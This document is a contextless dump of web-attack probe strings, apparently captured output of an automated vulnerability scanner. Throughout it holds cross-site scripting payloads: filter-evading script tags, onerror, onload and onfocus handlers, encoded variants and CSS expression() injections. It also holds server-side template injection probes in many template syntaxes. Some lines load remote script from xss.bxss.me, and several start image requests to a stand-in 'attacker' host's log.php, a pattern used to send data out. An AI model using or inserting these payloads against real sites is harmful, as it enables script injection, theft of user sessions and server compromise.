555<img/src=">" onerror=alert(9143)>

'"()&%<zzz><ScRiPt >He4g(9772)</ScRiPt>

555

"%}dfb{{98991*97996}}xca

555

dfb{{98991*97996}}xca

555<alF80gZ<

dfb__${98991*97996}__::.x

5559718303

555<ifRAme sRc=9688.com></IfRamE>

555'"()&%<zzz><ScRiPt >C38N(9200)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%44%70%61%41%289003%29%3C%2F%73%43%72%69%70%54%3E

555<img src=//xss.bxss.me/t/dot.gif onload=HhFg(9155)>

"}dfb{98991*97996}xca

555'"()&%<zzz><ScRiPt >lnsS(9137)</ScRiPt>

dfb{{98991*97996}}xca

bfg6495\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6495

dfb[[${98991*97996}]]xca

555<img src=xyz OnErRor=HhFg(9375)>

'"()&%<zzz><ScRiPt >C38N(9708)</ScRiPt>

555<a4KPcP3 x=9528>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555\u003CScRiPt\DpaA(9936)\u003C/sCripT\u003E

'"()&%<zzz><ScRiPt >lnsS(9418)</ScRiPt>

dfb[[${98991*97996}]]xca

bfgx3327\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3327

555<img/src=">" onerror=alert(9724)>

555<ScRiPt >7WOv(9929)</ScRiPt>

"}dfb${98991*97996}xca

dfb__${98991*97996}__::.x

<%={{={@{#{${dfb}}%>

dfb__${98991*97996}__::.x

5559590986

555<img sRc='http://attacker-9868/log.php?

5559210369

555&lt

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

%35%35%35%3C%53%63%52%69%50%74%20%3E%48%68%46%67%289960%29%3C%2F%73%43%72%69%70%54%3E

"}dfb#{98991*97996}xca

555

bfg3450\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl3450

555<aQUvn8G<

555<WFSZT6>TQOMA[!+!]</WFSZT6>

555<ScRiPt >1Gqs(9127)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

\xf6<img zzz onmouseover=DpaA(94831) //\xf6>

bfg6110\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6110

bfgx5466\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5466

555\u003CScRiPt\HhFg(9391)\u003C/sCripT\u003E

555<script>7WOv(9288)</script>

"}dfb{#98991*97996}xca

555<WNYA4B>TWIHM[!+!]</WNYA4B>

bfgx4278\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4278

555<ScRiPt >hL4r(9691)</ScRiPt>

555'"()&%<zzz><ScRiPt >lWRm(9369)</ScRiPt>

<th:t="${dfb}#foreach

555<input autofocus onfocus=DpaA(9467)>

<%={{={@{#{${dfb}}%>

"}dfb{@98991*97996}xca

555&lt

555<script>1Gqs(9818)</script>

<a HrEF=http://xss.bxss.me></a>

555

555<WJRAQO>93JJ2[!+!]</WJRAQO>

<%={{={@{#{${dfb}}%>

555<script>7WOv(9992)</script>9992

"}}dfb{{=98991*97996}}xca

555

'"()&%<zzz><ScRiPt >lWRm(9266)</ScRiPt>

<a HrEF=jaVaScRiPT:>

\xf6<img zzz onmouseover=HhFg(99871) //\xf6>

<th:t="${dfb}#foreach

555<script>1Gqs(9809)</script>9809

555<script>hL4r(9079)</script>

")dfb@(98991*97996)xca

555}body{zzz:Expre/**/SSion(DpaA(9550))}

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

5559249309

555<ScR<ScRiPt>IpT>7WOv(9258)</sCr<ScRiPt>IpT>

"%>dfb<%=98991*97996%>xca

555

555<input autofocus onfocus=HhFg(9424)>

555<ScR<ScRiPt>IpT>1Gqs(9280)</sCr<ScRiPt>IpT>

555<script>hL4r(9642)</script>9642

555

<th:t="${dfb}#foreach

555<ScRiPt >1Gqs(9186)</ScRiPt>

bfg9304\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9304

555PpDhb <ScRiPt >DpaA(9848)</ScRiPt>

555<ScRiPt >7WOv(9873)</ScRiPt>

"}dfb#set($x=98991*97996)${x}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ScR<ScRiPt>IpT>hL4r(9250)</sCr<ScRiPt>IpT>

<a HrEF=http://xss.bxss.me></a>

555<WDSEAC>JZQXU[!+!]</WDSEAC>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9253></ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9760></ScRiPt>

dfb{{98991*97996}}xca

bfgx2992\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2992

555<ScRiPt >hL4r(9830)</ScRiPt>

"}dfb{{"abc"|title}}xca

<a HrEF=jaVaScRiPT:>

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb[[${98991*97996}]]xca

555<ScRiPt >1Gqs(9437)</ScRiPt>

555<ifRAme sRc=9001.com></IfRamE>

555<ScRiPt >7WOv(9367)</ScRiPt>

555}body{zzz:Expre/**/SSion(HhFg(9282))}

"print("dfb" . 98991*97996 . "xca")

555

<%={{={@{#{${dfb}}%>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9434></ScRiPt>

dfb__${98991*97996}__::.x

555<svg  \xa0onload=1Gqs(9661)

dfb{{98991*97996}}xca

555NLMHV <ScRiPt >HhFg(9798)</ScRiPt>

"98991*97996*98991*97996

555<svg  \xa0onload=7WOv(9912)

555<aF6Xibn x=9365>

555<ScRiPt >hL4r(9730)</ScRiPt>

555<isindex type=image src=1 onerror=1Gqs(9396)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb{{98991*97996}}xca

555<iframe src='data:text/html

555

"}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<img sRc='http://attacker-9084/log.php?

555<isindex type=image src=1 onerror=7WOv(9268)>

dfb[[${98991*97996}]]xca

555<W9BSLY>D8CPQ[!+!]</W9BSLY>

555<svg  \xa0onload=hL4r(9646)

555<body onload=1Gqs(9994)>

555<ScRiPt >He4g(9505)</ScRiPt>

dfb__${98991*97996}__::.x

<th:t="${dfb}#foreach

dfb[[${98991*97996}]]xca

555<iframe src='data:text/html

"}}}dfb{{{this}}}xca

555<aafv2qm<

555<ifRAme sRc=9133.com></IfRamE>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<isindex type=image src=1 onerror=hL4r(9297)>

555<img src=//xss.bxss.me/t/dot.gif onload=1Gqs(9187)>

555<WAM5GE>SF1L9[!+!]</WAM5GE>

dfb__${98991*97996}__::.x

555

555<img src=xyz OnErRor=1Gqs(9910)>

555<script>He4g(9646)</script>

555<body onload=7WOv(9156)>

555<aVdCCFz x=9583>

555<iframe src='data:text/html

555<ScRiPt >lnsS(9377)</ScRiPt>

"}#{98991*97996*98991*97996}

555<script>He4g(9900)</script>9900

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img sRc='http://attacker-9249/log.php?

555<img/src=">" onerror=alert(9212)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<img src=//xss.bxss.me/t/dot.gif onload=7WOv(9719)>

555<body onload=hL4r(9403)>

555<WCTJ2K>KK9DV[!+!]</WCTJ2K>

"}dfb#{xca}=123

%35%35%35%3C%53%63%52%69%50%74%20%3E%31%47%71%73%289567%29%3C%2F%73%43%72%69%70%54%3E

555<ScR<ScRiPt>IpT>He4g(9688)</sCr<ScRiPt>IpT>

555

555<aDJtmBU<

"}}dfb{{'abcd'.toUpperCase()}}xca

555<img src=//xss.bxss.me/t/dot.gif onload=hL4r(9379)>

555<ScRiPt >C38N(9185)</ScRiPt>

555<img src=xyz OnErRor=7WOv(9124)>

555<script>lnsS(9495)</script>

555\u003CScRiPt\1Gqs(9929)\u003C/sCripT\u003E

555<ScRiPt >He4g(9410)</ScRiPt>

555<img src=xyz OnErRor=hL4r(9140)>

dfb{{98991*97996}}xca

"}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<script>lnsS(9049)</script>9049

555&lt

555<WYVMMO>UIVWR[!+!]</WYVMMO>

555<img/src=">" onerror=alert(9648)>

dfb[[${98991*97996}]]xca

"}}dfb{{98991*97996}}xca

555<img/src=">" onerror=alert(9405)>

555<ScR<ScRiPt>IpT>lnsS(9760)</sCr<ScRiPt>IpT>

555<script>C38N(9703)</script>

\xf6<img zzz onmouseover=1Gqs(90351) //\xf6>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9031></ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%68%4C%34%72%289437%29%3C%2F%73%43%72%69%70%54%3E

555<ScRiPt >lnsS(9266)</ScRiPt>

555<ScRiPt >He4g(9384)</ScRiPt>

555\u003CScRiPt\hL4r(9154)\u003C/sCripT\u003E

%35%35%35%3C%53%63%52%69%50%74%20%3E%37%57%4F%76%289511%29%3C%2F%73%43%72%69%70%54%3E

"}dfb[[${98991*97996}]]xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9499></ScRiPt>

dfb__${98991*97996}__::.x

555<input autofocus onfocus=1Gqs(9773)>

555<script>C38N(9909)</script>9909

555<ScRiPt >lnsS(9126)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<a HrEF=http://xss.bxss.me></a>

"dfb__${98991*97996}__::.x

555<svg  \xa0onload=He4g(9173)

555<svg  \xa0onload=lnsS(9434)

555&lt

555\u003CScRiPt\7WOv(9965)\u003C/sCripT\u003E

<a HrEF=jaVaScRiPT:>

555<ScR<ScRiPt>IpT>C38N(9112)</sCr<ScRiPt>IpT>

"}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >lWRm(9523)</ScRiPt>

555<ScRiPt >C38N(9313)</ScRiPt>

555<isindex type=image src=1 onerror=He4g(9122)>

555<isindex type=image src=1 onerror=lnsS(9729)>

\xf6<img zzz onmouseover=hL4r(96581) //\xf6>

555&lt

'}}dfb{{98991*97996}}xca

555}body{zzz:Expre/**/SSion(1Gqs(9092))}

555<WRVCQE>EPFT4[!+!]</WRVCQE>

555<iframe src='data:text/html

'%}dfb{{98991*97996}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9052></ScRiPt>

555<input autofocus onfocus=hL4r(9639)>

555<iframe src='data:text/html

555HviKI <ScRiPt >1Gqs(9380)</ScRiPt>

555<script>lWRm(9568)</script>

\xf6<img zzz onmouseover=7WOv(90921) //\xf6>

<a HrEF=http://xss.bxss.me></a>

'}dfb{98991*97996}xca

555<WEI7FX>FGZNN[!+!]</WEI7FX>

555<body onload=He4g(9661)>

555<ScRiPt >C38N(9466)</ScRiPt>

555<body onload=lnsS(9615)>

'}dfb${98991*97996}xca

555<input autofocus onfocus=7WOv(9365)>

555<ifRAme sRc=9924.com></IfRamE>

555<script>lWRm(9159)</script>9159

555<img src=//xss.bxss.me/t/dot.gif onload=He4g(9550)>

<a HrEF=jaVaScRiPT:>

555<img src=//xss.bxss.me/t/dot.gif onload=lnsS(9749)>

555<svg  \xa0onload=C38N(9124)

555<ScR<ScRiPt>IpT>lWRm(9873)</sCr<ScRiPt>IpT>

<a HrEF=http://xss.bxss.me></a>

555<aSZXGvZ x=9501>

'}dfb#{98991*97996}xca

555<img src=xyz OnErRor=lnsS(9434)>

555<isindex type=image src=1 onerror=C38N(9704)>

<a HrEF=jaVaScRiPT:>

555}body{zzz:Expre/**/SSion(hL4r(9881))}

'}dfb{#98991*97996}xca

555<ScRiPt >lWRm(9342)</ScRiPt>

555'"()&%<zzz><ScRiPt >LLuj(9186)</ScRiPt>

555<img src=xyz OnErRor=He4g(9019)>

555<img sRc='http://attacker-9163/log.php?

555<img/src=">" onerror=alert(9026)>

555<iframe src='data:text/html

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9600></ScRiPt>

555<img/src=">" onerror=alert(9140)>

555}body{zzz:Expre/**/SSion(7WOv(9459))}

555ELXuN <ScRiPt >hL4r(9201)</ScRiPt>

'"()&%<zzz><ScRiPt >LLuj(9279)</ScRiPt>

555<ScRiPt >lWRm(9429)</ScRiPt>

'}dfb{@98991*97996}xca

555<a4zezFY<

555<W07UAS>HAJLO[!+!]</W07UAS>

555<body onload=C38N(9105)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%6C%6E%73%53%289960%29%3C%2F%73%43%72%69%70%54%3E

555'"()&%<zzz><ScRiPt >27oH(9513)</ScRiPt>

555V4yod <ScRiPt >7WOv(9044)</ScRiPt>

555<svg  \xa0onload=lWRm(9206)

555'"()&%<zzz><ScRiPt >e1hN(9799)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%48%65%34%67%289438%29%3C%2F%73%43%72%69%70%54%3E

5559959945

'}}dfb{{=98991*97996}}xca

555\u003CScRiPt\lnsS(9963)\u003C/sCripT\u003E

555<img src=//xss.bxss.me/t/dot.gif onload=C38N(9968)>

'"()&%<zzz><ScRiPt >27oH(9916)</ScRiPt>

555<isindex type=image src=1 onerror=lWRm(9282)>

555<ifRAme sRc=9996.com></IfRamE>

')dfb@(98991*97996)xca

555<WJZOXZ>MTBG0[!+!]</WJZOXZ>

'"()&%<zzz><ScRiPt >e1hN(9323)</ScRiPt>

555&lt

555\u003CScRiPt\He4g(9209)\u003C/sCripT\u003E

bfg1886\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1886

555<iframe src='data:text/html

555<img src=xyz OnErRor=C38N(9865)>

555<aJ4D0db x=9683>

5559573985

555&lt

5559863756

555<img sRc='http://attacker-9777/log.php?

\xf6<img zzz onmouseover=lnsS(93741) //\xf6>

555<body onload=lWRm(9110)>

555<ifRAme sRc=9388.com></IfRamE>

'%>dfb<%=98991*97996%>xca

bfgx4974\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4974

\xf6<img zzz onmouseover=He4g(92071) //\xf6>

bfg3964\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl3964

555<img/src=">" onerror=alert(9596)>

'}dfb#set($x=98991*97996)${x}xca

bfg3164\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl3164

555<ay0aGHJ<

555<img src=//xss.bxss.me/t/dot.gif onload=lWRm(9782)>

555<input autofocus onfocus=lnsS(9087)>

555<input autofocus onfocus=He4g(9614)>

<%={{={@{#{${dfb}}%>

bfgx10165\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10165

'}dfb{{"abc"|title}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%43%33%38%4E%289496%29%3C%2F%73%43%72%69%70%54%3E

555<aThfFhU x=9945>

555

bfgx9436\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9436

<a HrEF=http://xss.bxss.me></a>

<a HrEF=http://xss.bxss.me></a>

555<img src=xyz OnErRor=lWRm(9544)>

<%={{={@{#{${dfb}}%>

555\u003CScRiPt\C38N(9627)\u003C/sCripT\u003E

<th:t="${dfb}#foreach

555<img sRc='http://attacker-9632/log.php?

'print("dfb" . 98991*97996 . "xca")

555

<%={{={@{#{${dfb}}%>

555&lt

<a HrEF=jaVaScRiPT:>

555<img/src=">" onerror=alert(9899)>

555'"()&%<zzz><ScRiPt >LAeG(9352)</ScRiPt>

<a HrEF=jaVaScRiPT:>

'98991*97996*98991*97996

<th:t="${dfb}#foreach

555

555<aqeu7YK<

%35%35%35%3C%53%63%52%69%50%74%20%3E%6C%57%52%6D%289011%29%3C%2F%73%43%72%69%70%54%3E

555

\xf6<img zzz onmouseover=C38N(99671) //\xf6>

'}dfb{@math key=98991 method="multiply" operand=97996/}xca

555}body{zzz:Expre/**/SSion(He4g(9098))}

'"()&%<zzz><ScRiPt >LAeG(9523)</ScRiPt>

555'"()&%<zzz><ScRiPt >c2cP(9119)</ScRiPt>

555

555}body{zzz:Expre/**/SSion(lnsS(9146))}

'}}}dfb{{{this}}}xca

555\u003CScRiPt\lWRm(9998)\u003C/sCripT\u003E

<th:t="${dfb}#foreach

5559203745

5554MebY <ScRiPt >He4g(9449)</ScRiPt>

555<input autofocus onfocus=C38N(9698)>

'"()&%<zzz><ScRiPt >c2cP(9729)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555&lt

'}#{98991*97996*98991*97996}

bfg5724\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5724

55518FKO <ScRiPt >lnsS(9267)</ScRiPt>

5559185013

555

'}dfb#{xca}=123

<a HrEF=http://xss.bxss.me></a>

555

bfgx4975\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4975

555

\xf6<img zzz onmouseover=lWRm(95151) //\xf6>

555<WBSDRS>GFRCI[!+!]</WBSDRS>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<WRD40Y>STFJ8[!+!]</WRD40Y>

<a HrEF=jaVaScRiPT:>

dfb{{98991*97996}}xca

bfg9503\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9503

'}}dfb{{'abcd'.toUpperCase()}}xca

555

555<input autofocus onfocus=lWRm(9949)>

dfb{{98991*97996}}xca

555<ifRAme sRc=9980.com></IfRamE>

<%={{={@{#{${dfb}}%>

555<ifRAme sRc=9216.com></IfRamE>

555}body{zzz:Expre/**/SSion(C38N(9430))}

bfgx2811\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2811

'}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

dfb[[${98991*97996}]]xca

dfb[[${98991*97996}]]xca

dfb{{98991*97996}}xca

555<aArW5o5 x=9133>

<%={{={@{#{${dfb}}%>

<a HrEF=http://xss.bxss.me></a>

555HI8Tj <ScRiPt >C38N(9926)</ScRiPt>

<th:t="${dfb}#foreach

dfb__${98991*97996}__::.x

'}}dfb{{98991*97996}}xca

555<a7fHaz6 x=9819>

<a HrEF=jaVaScRiPT:>

dfb[[${98991*97996}]]xca

555<img sRc='http://attacker-9227/log.php?

555<img sRc='http://attacker-9345/log.php?

555

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

555<WUXAJV>F9KWE[!+!]</WUXAJV>

'}dfb[[${98991*97996}]]xca

555<aTbgBQx<

555<aEIof4E<

dfb__${98991*97996}__::.x

555}body{zzz:Expre/**/SSion(lWRm(9590))}

'dfb__${98991*97996}__::.x

<th:t="${dfb}#foreach

555<ScRiPt >27oH(9409)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb{{98991*97996}}xca

5559SpM9 <ScRiPt >lWRm(9775)</ScRiPt>

555<ifRAme sRc=9938.com></IfRamE>

555

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

'}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555'"()&%<zzz><ScRiPt >0h8n(9988)</ScRiPt>

dfb{{98991*97996}}xca

555<WG3CWF>RE0YN[!+!]</WG3CWF>

555<aYvCzNC x=9934>

555<ScRiPt >LLuj(9099)</ScRiPt>

555<WJDAN5>1JX0O[!+!]</WJDAN5>

555<ScRiPt >e1hN(9784)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{98991*97996}xca

555<WJDXTF>SJARA[!+!]</WJDXTF>

'"()&%<zzz><ScRiPt >0h8n(9032)</ScRiPt>

1}}dfb{{98991*97996}}xca

555<img sRc='http://attacker-9905/log.php?

555<ifRAme sRc=9063.com></IfRamE>

5559563225

555<script>27oH(9477)</script>

555<WXIULA>CE13T[!+!]</WXIULA>

555<script>LLuj(9616)</script>

dfb{{98991*97996}}xca

555<aWaW3uh x=9197>

dfb${98991*97996}xca

dfb[[${98991*97996}]]xca

555<script>27oH(9324)</script>9324

1%}dfb{{98991*97996}}xca

555<aeVWDuZ<

bfg7264\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7264

555<script>e1hN(9126)</script>

555<script>LLuj(9739)</script>9739

555<img sRc='http://attacker-9053/log.php?

dfb__${98991*97996}__::.x

1}dfb{98991*97996}xca

dfb#{98991*97996}xca

555<ScR<ScRiPt>IpT>LLuj(9520)</sCr<ScRiPt>IpT>

bfgx7149\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7149

555<script>e1hN(9107)</script>9107

555'"()&%<zzz><ScRiPt >AQai(9393)</ScRiPt>

555<ScR<ScRiPt>IpT>27oH(9935)</sCr<ScRiPt>IpT>

555<a0AXxCu<

1}dfb${98991*97996}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >LLuj(9302)</ScRiPt>

555<ScRiPt >27oH(9313)</ScRiPt>

dfb{#98991*97996}xca

'"()&%<zzz><ScRiPt >AQai(9494)</ScRiPt>

<%={{={@{#{${dfb}}%>

555<ScRiPt >c2cP(9696)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9161></ScRiPt>

1}dfb#{98991*97996}xca

555<ScR<ScRiPt>IpT>e1hN(9881)</sCr<ScRiPt>IpT>

dfb{@98991*97996}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9767></ScRiPt>

555<W2HSKJ>KVZRY[!+!]</W2HSKJ>

1}dfb{#98991*97996}xca

dfb{{=98991*97996}}xca

555'"()&%<zzz><ScRiPt >mbjB(9181)</ScRiPt>

5559257046

555<ScRiPt >e1hN(9383)</ScRiPt>

555

555<ScRiPt >27oH(9435)</ScRiPt>

555<ScRiPt >LLuj(9061)</ScRiPt>

555<script>c2cP(9673)</script>

dfb@(98991*97996)xca

'"()&%<zzz><ScRiPt >mbjB(9506)</ScRiPt>

555<script>c2cP(9315)</script>9315

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9861></ScRiPt>

bfg7000\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7000

1}dfb{@98991*97996}xca

555<svg  \xa0onload=27oH(9982)

555<svg  \xa0onload=LLuj(9418)

<th:t="${dfb}#foreach

dfb<%=98991*97996%>xca

555<ScR<ScRiPt>IpT>c2cP(9092)</sCr<ScRiPt>IpT>

555<ScRiPt >e1hN(9643)</ScRiPt>

bfgx8829\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8829

555<isindex type=image src=1 onerror=LLuj(9202)>

1}}dfb{{=98991*97996}}xca

5559421109

555<isindex type=image src=1 onerror=27oH(9016)>

555

555<svg  \xa0onload=e1hN(9407)

dfb#set($x=98991*97996)${x}xca

555<iframe src='data:text/html

1)dfb@(98991*97996)xca

555<ScRiPt >c2cP(9304)</ScRiPt>

<%={{={@{#{${dfb}}%>

bfg1559\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1559

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<iframe src='data:text/html

555<isindex type=image src=1 onerror=e1hN(9226)>

dfb{{"abc"|title}}xca

555

bfgx9853\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9853

555<body onload=27oH(9726)>

555<body onload=LLuj(9175)>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9845></ScRiPt>

555

1%>dfb<%=98991*97996%>xca

<th:t="${dfb}#foreach

555<iframe src='data:text/html

print("dfb" . 98991*97996 . "xca")

555<ScRiPt >c2cP(9071)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=LLuj(9005)>

dfb{{98991*97996}}xca

<%={{={@{#{${dfb}}%>

98991*97996*98991*97996

555<img src=//xss.bxss.me/t/dot.gif onload=27oH(9965)>

1}dfb#set($x=98991*97996)${x}xca

555

555<body onload=e1hN(9626)>

555

dfb{@math key=98991 method="multiply" operand=97996/}xca

555<svg  \xa0onload=c2cP(9900)

555<img src=xyz OnErRor=LLuj(9344)>

dfb[[${98991*97996}]]xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img src=xyz OnErRor=27oH(9545)>

<th:t="${dfb}#foreach

1}dfb{{"abc"|title}}xca

555<img src=//xss.bxss.me/t/dot.gif onload=e1hN(9165)>

dfb{{{this}}}xca

555<isindex type=image src=1 onerror=c2cP(9889)>

555<img/src=">" onerror=alert(9213)>

555

dfb__${98991*97996}__::.x

1print("dfb" . 98991*97996 . "xca")

dfb{{98991*97996}}xca

555<img/src=">" onerror=alert(9464)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%4C%4C%75%6A%289116%29%3C%2F%73%43%72%69%70%54%3E

555<iframe src='data:text/html

#{98991*97996*98991*97996}

dfb[[${98991*97996}]]xca

555<img src=xyz OnErRor=e1hN(9456)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555\u003CScRiPt\LLuj(9867)\u003C/sCripT\u003E

555<body onload=c2cP(9156)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<img/src=">" onerror=alert(9132)>

dfb#{xca}=123

198991*97996*98991*97996

%35%35%35%3C%53%63%52%69%50%74%20%3E%32%37%6F%48%289319%29%3C%2F%73%43%72%69%70%54%3E

dfb__${98991*97996}__::.x

555<ScRiPt >0h8n(9550)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%65%31%68%4E%289939%29%3C%2F%73%43%72%69%70%54%3E

555<img src=//xss.bxss.me/t/dot.gif onload=c2cP(9577)>

1}dfb{@math key=98991 method="multiply" operand=97996/}xca

dfb{{'abcd'.toUpperCase()}}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555&lt

555

555<WYVFK4>K34Q5[!+!]</WYVFK4>

555\u003CScRiPt\27oH(9962)\u003C/sCripT\u003E

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<img src=xyz OnErRor=c2cP(9312)>

555<script>0h8n(9997)</script>

\xf6<img zzz onmouseover=LLuj(97091) //\xf6>

555<ScRiPt >AQai(9754)</ScRiPt>

dfb{{98991*97996}}xca

555\u003CScRiPt\e1hN(9328)\u003C/sCripT\u003E

1}}}dfb{{{this}}}xca

555&lt

dfb{{98991*97996}}xca

555<WQQUDZ>0EFCS[!+!]</WQQUDZ>

555<script>0h8n(9383)</script>9383

\xf6<img zzz onmouseover=27oH(95501) //\xf6>

555&lt

dfb[[${98991*97996}]]xca

555<img/src=">" onerror=alert(9215)>

1}#{98991*97996*98991*97996}

555<input autofocus onfocus=LLuj(9655)>

555<script>AQai(9048)</script>

555<ScR<ScRiPt>IpT>0h8n(9070)</sCr<ScRiPt>IpT>

%35%35%35%3C%53%63%52%69%50%74%20%3E%63%32%63%50%289478%29%3C%2F%73%43%72%69%70%54%3E

<a HrEF=http://xss.bxss.me></a>

dfb__${98991*97996}__::.x

\xf6<img zzz onmouseover=e1hN(92781) //\xf6>

555<input autofocus onfocus=27oH(9566)>

dfb[[${98991*97996}]]xca

1}dfb#{xca}=123

555<script>AQai(9787)</script>9787

555\u003CScRiPt\c2cP(9953)\u003C/sCripT\u003E

555<ScRiPt >0h8n(9310)</ScRiPt>

<a HrEF=jaVaScRiPT:>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<a HrEF=http://xss.bxss.me></a>

dfb__${98991*97996}__::.x

555<input autofocus onfocus=e1hN(9661)>

1}}dfb{{'abcd'.toUpperCase()}}xca

555<ScR<ScRiPt>IpT>AQai(9882)</sCr<ScRiPt>IpT>

555&lt

<a HrEF=jaVaScRiPT:>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9090></ScRiPt>

555<ScRiPt >mbjB(9260)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555<ScRiPt >0h8n(9794)</ScRiPt>

555<WFHLZM>P9PUN[!+!]</WFHLZM>

555}body{zzz:Expre/**/SSion(27oH(9884))}

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555}body{zzz:Expre/**/SSion(LLuj(9369))}

1}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

\xf6<img zzz onmouseover=c2cP(93281) //\xf6>

555jNNF7 <ScRiPt >27oH(9189)</ScRiPt>

555<svg  \xa0onload=0h8n(9482)

555<ScRiPt >LAeG(9167)</ScRiPt>

1}}dfb{{98991*97996}}xca

555<ScRiPt >AQai(9257)</ScRiPt>

555<script>mbjB(9466)</script>

555}body{zzz:Expre/**/SSion(e1hN(9816))}

555<input autofocus onfocus=c2cP(9563)>

555<WFLM7E>LY6B4[!+!]</WFLM7E>

555<WKZOTO>5MZYR[!+!]</WKZOTO>

555Ad9F8 <ScRiPt >LLuj(9237)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9268></ScRiPt>

1}dfb[[${98991*97996}]]xca

555<isindex type=image src=1 onerror=0h8n(9452)>

555<script>mbjB(9019)</script>9019

555<script>LAeG(9109)</script>

555<WPGF73>MSBBH[!+!]</WPGF73>

555Rs1M8 <ScRiPt >e1hN(9677)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

555<ScR<ScRiPt>IpT>mbjB(9727)</sCr<ScRiPt>IpT>

1dfb__${98991*97996}__::.x

555<ScRiPt >AQai(9967)</ScRiPt>

555<ifRAme sRc=9274.com></IfRamE>

555<iframe src='data:text/html

555<script>LAeG(9167)</script>9167

<a HrEF=jaVaScRiPT:>

555<W8UQRE>JD9KW[!+!]</W8UQRE>

555<ifRAme sRc=9469.com></IfRamE>

